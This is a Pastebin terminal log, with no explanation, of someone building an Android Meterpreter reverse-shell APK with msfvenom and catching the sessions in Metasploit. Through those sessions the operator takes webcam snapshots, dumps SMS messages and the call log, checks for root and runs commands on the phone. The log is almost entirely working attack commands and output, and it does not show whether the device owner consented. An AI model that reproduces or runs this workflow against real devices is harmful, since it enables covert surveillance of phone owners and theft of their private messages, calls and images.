Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@yukinoshita47:~# ifconfig
- eth0 Link encap:Ethernet HWaddr 00:26:b9:9a:a7:d2
- UP BROADCAST MULTICAST MTU:1500 Metric:1
- RX packets:0 errors:0 dropped:0 overruns:0 frame:0
- TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:1000
- RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
- lo Link encap:Local Loopback
- inet addr:127.0.0.1 Mask:255.0.0.0
- inet6 addr: ::1/128 Scope:Host
- UP LOOPBACK RUNNING MTU:65536 Metric:1
- RX packets:54 errors:0 dropped:0 overruns:0 frame:0
- TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:0
- RX bytes:3220 (3.1 KiB) TX bytes:3220 (3.1 KiB)
- wlan0 Link encap:Ethernet HWaddr c4:17:fe:76:72:38
- inet addr:192.168.43.28 Bcast:192.168.43.255 Mask:255.255.255.0
- inet6 addr: fe80::c617:feff:fe76:7238/64 Scope:Link
- UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
- RX packets:28376 errors:0 dropped:0 overruns:0 frame:0
- TX packets:21358 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:1000
- RX bytes:18372539 (17.5 MiB) TX bytes:2890420 (2.7 MiB)
- root@yukinoshita47:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=4444 R > andro.apk
- No platform was selected, choosing Msf::Module::Platform::Android from the payload
- No Arch selected, selecting Arch: dalvik from the payload
- No encoder or badchars specified, outputting raw payload
- root@yukinoshita47:~# chmod 777 andro.apk
- root@yukinoshita47:~# msfconsole
- [*] Starting the Metasploit Framework console.../
- ______________________________________________________________________________
- | |
- | METASPLOIT CYBER MISSILE COMMAND V4 |
- |______________________________________________________________________________|
- \ / /
- \ . / / x
- \ / /
- \ / + /
- \ + / /
- * / /
- / . /
- X / / X
- / ###
- / # % #
- / ###
- . /
- . / . * .
- /
- *
- + *
- ^
- #### __ __ __ ####### __ __ __ ####
- #### / \ / \ / \ ########### / \ / \ / \ ####
- ################################################################################
- ################################################################################
- # WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
- ################################################################################
- http://metasploit.pro
- Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
- Learn more on http://rapid7.com/metasploit
- =[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]
- + -- --=[ 1412 exploits - 802 auxiliary - 229 post ]
- + -- --=[ 361 payloads - 37 encoders - 8 nops ]
- + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
- msf > use multi/handler
- msf exploit(handler) > set payload android/meterpreter/reverse_tcp
- payload => android/meterpreter/reverse_tcp
- msf exploit(handler) > set LHOST 192.168.43.28
- LHOST => 192.168.43.28
- msf exploit(handler) > set LPORT 4444
- LPORT => 4444
- msf exploit(handler) > exploit
- [*] Started reverse handler on 192.168.43.28:4444
- [*] Starting the payload handler...
- [*] Sending stage (44648 bytes) to 192.168.43.1
- [*] Meterpreter session 1 opened (192.168.43.28:4444 -> 192.168.43.1:44207) at 2017-08-12 21:43:50 +0700
- meterpreter > webcam_snap
- [*] Starting...
- [+] Got frame
- [*] Stopped
- Webcam shot saved to: /root/CoQkUrtH.jpeg
- meterpreter > webcam_snap
- [*] Starting...
- [+] Got frame
- [*] Stopped
- Webcam shot saved to: /root/GzCXxYWh.jpeg
- meterpreter > dump_contacts
- [-] Error running command dump_contacts: Rex::TimeoutError Operation timed out.
- meterpreter > dump_sms
- [*] Fetching 149 sms messages
- [*] Sms messages saved to: sms_dump_20170812215157.txt
- meterpreter > help
- Core Commands
- =============
- Command Description
- ------- -----------
- ? Help menu
- background Backgrounds the current session
- bgkill Kills a background meterpreter script
- bglist Lists running background scripts
- bgrun Executes a meterpreter script as a background thread
- channel Displays information about active channels
- close Closes a channel
- disable_unicode_encoding Disables encoding of unicode strings
- enable_unicode_encoding Enables encoding of unicode strings
- exit Terminate the meterpreter session
- help Help menu
- info Displays information about a Post module
- interact Interacts with a channel
- irb Drop into irb scripting mode
- load Load one or more meterpreter extensions
- quit Terminate the meterpreter session
- read Reads data from a channel
- resource Run the commands stored in a file
- run Executes a meterpreter script or Post module
- use Deprecated alias for 'load'
- write Writes data to a channel
- Stdapi: File system Commands
- ============================
- Command Description
- ------- -----------
- cat Read the contents of a file to the screen
- cd Change directory
- download Download a file or directory
- edit Edit a file
- getlwd Print local working directory
- getwd Print working directory
- lcd Change local working directory
- lpwd Print local working directory
- ls List files
- mkdir Make directory
- pwd Print working directory
- rm Delete the specified file
- rmdir Remove directory
- search Search for files
- upload Upload a file or directory
- Stdapi: Networking Commands
- ===========================
- Command Description
- ------- -----------
- ifconfig Display interfaces
- ipconfig Display interfaces
- portfwd Forward a local port to a remote service
- route View and modify the routing table
- Stdapi: System Commands
- =======================
- Command Description
- ------- -----------
- execute Execute a command
- getuid Get the user that the server is running as
- ps List running processes
- shell Drop into a system command shell
- sysinfo Gets information about the remote system, such as OS
- Stdapi: Webcam Commands
- =======================
- Command Description
- ------- -----------
- record_mic Record audio from the default microphone for X seconds
- webcam_chat Start a video chat
- webcam_list List webcams
- webcam_snap Take a snapshot from the specified webcam
- webcam_stream Play a video stream from the specified webcam
- Android Commands
- ================
- Command Description
- ------- -----------
- check_root Check if device is rooted
- dump_calllog Get call log
- dump_contacts Get contacts list
- dump_sms Get sms messages
- geolocate Get current lat-long using geolocation
- meterpreter > check_root
- [*] Device is not rooted
- meterpreter > dump_calllog
- [*] Fetching 500 entries
- [*] Call log saved to calllog_dump_20170812220148.txt
- meterpreter > geolocate
- [-] geolocate: Operation failed: 1
- meterpreter > clear
- [-] Unknown command: clear.
- meterpreter > id
- [-] Unknown command: id.
- meterpreter > route
- IPv4 network routes
- ===================
- Subnet Netmask Gateway Metric Interface
- ------ ------- ------- ------ ---------
- 10.130.233.249 255.0.0.0 0.0.0.0
- 127.0.0.1 255.0.0.0 0.0.0.0
- 192.168.43.1 255.255.255.0 0.0.0.0
- IPv6 network routes
- ===================
- Subnet Netmask Gateway Metric Interface
- ------ ------- ------- ------ ---------
- ::1 :: ::
- fe80::227:15ff:fe87:8291 :: ::
- fe80::5c39:adff:fe67:e31d :: ::
- meterpreter >
- [*] 192.168.43.1 - Meterpreter session 1 closed. Reason: Died
- help
- Core Commands
- =============
- Command Description
- ------- -----------
- ? Help menu
- background Backgrounds the current session
- bgkill Kills a background meterpreter script
- bglist Lists running background scripts
- bgrun Executes a meterpreter script as a background thread
- channel Displays information about active channels
- close Closes a channel
- disable_unicode_encoding Disables encoding of unicode strings
- enable_unicode_encoding Enables encoding of unicode strings
- exit Terminate the meterpreter session
- help Help menu
- info Displays information about a Post module
- interact Interacts with a channel
- irb Drop into irb scripting mode
- load Load one or more meterpreter extensions
- quit Terminate the meterpreter session
- read Reads data from a channel
- resource Run the commands stored in a file
- run Executes a meterpreter script or Post module
- use Deprecated alias for 'load'
- write Writes data to a channel
- Stdapi: File system Commands
- ============================
- Command Description
- ------- -----------
- cat Read the contents of a file to the screen
- cd Change directory
- download Download a file or directory
- edit Edit a file
- getlwd Print local working directory
- getwd Print working directory
- lcd Change local working directory
- lpwd Print local working directory
- ls List files
- mkdir Make directory
- pwd Print working directory
- rm Delete the specified file
- rmdir Remove directory
- search Search for files
- upload Upload a file or directory
- Stdapi: Networking Commands
- ===========================
- Command Description
- ------- -----------
- ifconfig Display interfaces
- ipconfig Display interfaces
- portfwd Forward a local port to a remote service
- route View and modify the routing table
- Stdapi: System Commands
- =======================
- Command Description
- ------- -----------
- execute Execute a command
- getuid Get the user that the server is running as
- ps List running processes
- shell Drop into a system command shell
- sysinfo Gets information about the remote system, such as OS
- Stdapi: Webcam Commands
- =======================
- Command Description
- ------- -----------
- record_mic Record audio from the default microphone for X seconds
- webcam_chat Start a video chat
- webcam_list List webcams
- webcam_snap Take a snapshot from the specified webcam
- webcam_stream Play a video stream from the specified webcam
- Android Commands
- ================
- Command Description
- ------- -----------
- check_root Check if device is rooted
- dump_calllog Get call log
- dump_contacts Get contacts list
- dump_sms Get sms messages
- geolocate Get current lat-long using geolocation
- msf exploit(handler) > exploit
- [*] Started reverse handler on 192.168.43.28:4444
- [*] Starting the payload handler...
- [*] Sending stage (44648 bytes) to 192.168.43.1
- [*] Meterpreter session 2 opened (192.168.43.28:4444 -> 192.168.43.1:47111) at 2017-08-12 22:11:48 +0700
- meterpreter > getuid
- Server username: root
- meterpreter > exec ls
- [-] Unknown command: exec.
- meterpreter > execute ls
- [-] You must specify an executable file with -f
- meterpreter > execute -f
- [-] You must specify an executable file with -f
- meterpreter > execute -h
- Usage: execute -f file [options]
- Executes a command on the remote machine.
- OPTIONS:
- -H Create the process hidden from view.
- -a <opt> The arguments to pass to the command.
- -c Channelized I/O (required for interaction).
- -d <opt> The 'dummy' executable to launch when using -m.
- -f <opt> The executable command to run.
- -h Help menu.
- -i Interact with the process after creating it.
- -k Execute process on the meterpreters current desktop
- -m Execute from memory.
- -s <opt> Execute process in a given session as the session user
- -t Execute process with currently impersonated thread token
- meterpreter > execute -H
- [-] You must specify an executable file with -f
- meterpreter > execute -f -H
- [-] stdapi_sys_process_execute: Operation failed: 1
- meterpreter > execute -f ls
- Process created.
- meterpreter > execute -f ifconfig
- Process created.
- meterpreter >
- [*] 192.168.43.1 - Meterpreter session 2 closed. Reason: Died
Add Comment
Please, Sign In to add comment
